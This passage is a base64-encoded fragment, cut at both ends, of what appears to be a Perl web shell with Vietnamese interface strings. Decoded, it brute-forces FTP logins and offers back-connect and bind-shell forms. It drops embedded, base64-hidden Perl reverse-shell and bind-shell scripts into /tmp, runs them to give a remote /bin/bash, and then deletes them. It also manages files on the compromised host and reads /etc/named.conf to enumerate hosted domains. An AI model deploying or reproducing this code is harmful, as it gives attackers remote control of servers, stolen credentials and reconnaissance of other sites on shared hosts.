m9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1